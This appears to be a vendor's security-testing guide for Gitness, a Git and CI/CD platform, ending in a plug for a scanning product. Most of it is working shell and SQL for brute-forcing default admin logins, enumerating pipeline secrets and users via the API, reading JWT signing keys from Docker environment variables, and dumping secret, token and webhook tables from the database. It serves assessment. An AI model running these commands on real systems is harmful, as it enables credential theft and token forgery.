Gitness Security Testing: Default Credentials, API Token, Database, and .env

Gitness (Harness Open Source) is a widely deployed open-source Git hosting and CI/CD platform used to manage source code repositories, build pipelines, and deployment automation — it stores source code, CI/CD pipeline definitions, and pipeline secrets (API keys, registry credentials, deployment tokens). Key assessment areas: pipeline secrets in Gitness are stored in the database and accessed by CI/CD pipelines; the REST API allows enumerating all repositories, spaces, and pipeline configurations; the database (SQLite or PostgreSQL) stores all platform data including user credentials and pipeline secrets; and webhook configurations may expose secret tokens. This guide covers systematic Gitness security assessment.

Table of Contents

  1. Authentication and API Token Testing
  2. API Repository and Pipeline Secret Enumeration
  3. Database and Environment Variable Extraction
  4. Gitness Security Hardening

Authentication and API Token Testing

# Gitness — authentication and API token testing
GITNESS_URL="https://gitness.example.com"

# Gitness login — email/password authentication
AUTH=$(curl -s -X POST "${GITNESS_URL}/api/v1/login" \
  -H "Content-Type: application/json" \
  -d '{"login_identifier":"admin","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Gitness may return access_token or token field
t = d.get('access_token','')
if not t:
    session = d.get('session',{})
    t = session.get('token','')
print(t if t else 'FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "Token: ${TOKEN}"

# Try common credentials
for CRED in "admin:admin" "admin:gitness" "admin:password" "admin:changeme"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -X POST "${GITNESS_URL}/api/v1/login" \
    -H "Content-Type: application/json" \
    -d "{\"login_identifier\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'access_token' in d or 'session' in d else 'FAIL')" 2>/dev/null)
  echo "${EMAIL}/${PASS}: ${STATUS}"
done

# User token authentication (generated in profile settings)
API_TOKEN="your-gitness-api-token"
curl -s "${GITNESS_URL}/api/v1/user" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"display_name\")} ({d.get(\"email\")}) admin={d.get(\"admin\")}')
" 2>/dev/null

API Repository and Pipeline Secret Enumeration

# Gitness REST API — repository and pipeline secret enumeration
GITNESS_URL="https://gitness.example.com"
API_TOKEN="your-gitness-api-token"

# List all spaces (organizations)
curl -s "${GITNESS_URL}/api/v1/spaces" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
spaces = d if isinstance(d,list) else d.get('spaces',[])
print(f'Spaces: {len(spaces)}')
for s in spaces:
    print(f'  [{s.get(\"id\")}] {s.get(\"path\")} repos={s.get(\"num_repos\")} sub={s.get(\"num_child_spaces\")}')
" 2>/dev/null

SPACE_PATH="your-space"

# List all repositories in a space
curl -s "${GITNESS_URL}/api/v1/spaces/${SPACE_PATH}/+/repos" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
repos = d if isinstance(d,list) else d.get('repositories',[])
print(f'Repositories: {len(repos)}')
for r in repos[:10]:
    print(f'  [{r.get(\"id\")}] {r.get(\"path\")} default_branch={r.get(\"default_branch\")} private={r.get(\"is_private\")}')
" 2>/dev/null

# List all pipeline secrets in a space — CI/CD credentials
curl -s "${GITNESS_URL}/api/v1/secrets?space_path=${SPACE_PATH}" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
secrets = d if isinstance(d,list) else d.get('secrets',[])
print(f'Secrets: {len(secrets)}')
for s in secrets[:15]:
    # Secret values may be returned depending on admin access level
    print(f'  [{s.get(\"id\")}] {s.get(\"identifier\")} type={s.get(\"type\")} value={s.get(\"value\",\"[masked]\")}')
" 2>/dev/null

# List pipeline execution logs — may contain secret values printed during execution
REPO_PATH="your-space/your-repo"
curl -s "${GITNESS_URL}/api/v1/repos/${REPO_PATH}/+/pipelines" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
pipelines = d if isinstance(d,list) else d.get('pipelines',[])
print(f'Pipelines: {len(pipelines)}')
for p in pipelines[:5]:
    print(f'  [{p.get(\"id\")}] {p.get(\"identifier\")} last={p.get(\"execution\",{}).get(\"status\",\"\")}')
" 2>/dev/null

# List all users on the platform (admin only)
curl -s "${GITNESS_URL}/api/v1/admin/users" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d if isinstance(d,list) else d.get('users',[])
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"display_name\")} email={u.get(\"email\")} admin={u.get(\"admin\")}')
" 2>/dev/null

Database and Environment Variable Extraction

# Gitness database and environment variable extraction

# Docker environment variables
docker inspect gitness 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET','DATABASE','TOKEN','PASSWORD','KEY','GITNESS']):
            print(e)
" 2>/dev/null
# GITNESS_JWT_SECRET — JWT signing key for authentication tokens
# GITNESS_DATABASE_DATASOURCE — database connection string
# GITNESS_PRINCIPAL_ADMIN_EMAIL/PASSWORD — initial admin credentials

# SQLite database access (default Gitness storage)
GITNESS_DB="/data/gitness/gitness.db"
sqlite3 "$GITNESS_DB" 2>/dev/null << 'EOF'
-- All users and their tokens
SELECT p.uid, p.display_name, p.email, p.admin, p.created
FROM principals p
WHERE p.type = 'user'
ORDER BY p.admin DESC, p.created DESC
LIMIT 20;
EOF

# User API tokens
sqlite3 "$GITNESS_DB" 2>/dev/null << 'EOF'
SELECT t.uid, t.identifier, t.principal_id,
       p.email, t.token_hash, t.expires_at, t.created_at
FROM tokens t
JOIN principals p ON t.principal_id = p.id
ORDER BY t.created_at DESC
LIMIT 20;
EOF
# token_hash — hashed API token; raw token not stored, but active sessions may be in memory

# Pipeline secrets table
sqlite3 "$GITNESS_DB" 2>/dev/null << 'EOF'
SELECT s.uid, s.identifier, s.description,
       sd.value  -- Secret value (may be encrypted or plaintext depending on version)
FROM secrets s
LEFT JOIN secret_data sd ON s.id = sd.secret_id
LIMIT 20;
EOF

# Webhooks — may contain secret tokens for HMAC verification
sqlite3 "$GITNESS_DB" 2>/dev/null << 'EOF'
SELECT w.id, w.identifier, w.url, w.secret, w.enabled,
       w.space_id, w.repo_id
FROM webhooks w
LIMIT 20;
EOF

Gitness Security Hardening

Gitness Security Hardening Checklist:
Security TestMethodRisk
Pipeline secret enumeration via APIGET /api/v1/secrets?space_path={space} — all pipeline secrets with identifiers; admin-level access may return plaintext values for credentials used in CI/CD pipelinesCritical
Database pipeline secrets table accessSQLite SELECT from secrets/secret_data — pipeline secret values (plaintext or encrypted depending on version); complete harvest of all CI/CD credentialsCritical
JWT_SECRET extraction and session token forgeryRead Docker env GITNESS_JWT_SECRET — JWT signing key; forge valid authentication tokens as any Gitness user including adminsCritical
Webhook secret exposureSQLite SELECT from webhooks — HMAC verification secrets; enables forging webhook payloads to trigger unauthorized pipeline executionsHigh
Admin user email enumerationGET /api/v1/admin/users — all platform users with emails and admin status; enables targeted attacks against CI/CD platform administratorsHigh

Automate Gitness Security Testing

Ironimo tests Gitness deployments for pipeline secret API enumeration, JWT_SECRET extraction and token forgery, SQLite database secret value extraction, webhook HMAC secret exposure, admin credential brute force protection, repository visibility misconfiguration, Docker environment variable exposure, pipeline execution log sensitive data leakage, admin user email enumeration, and branch protection policy assessment.

Start free scan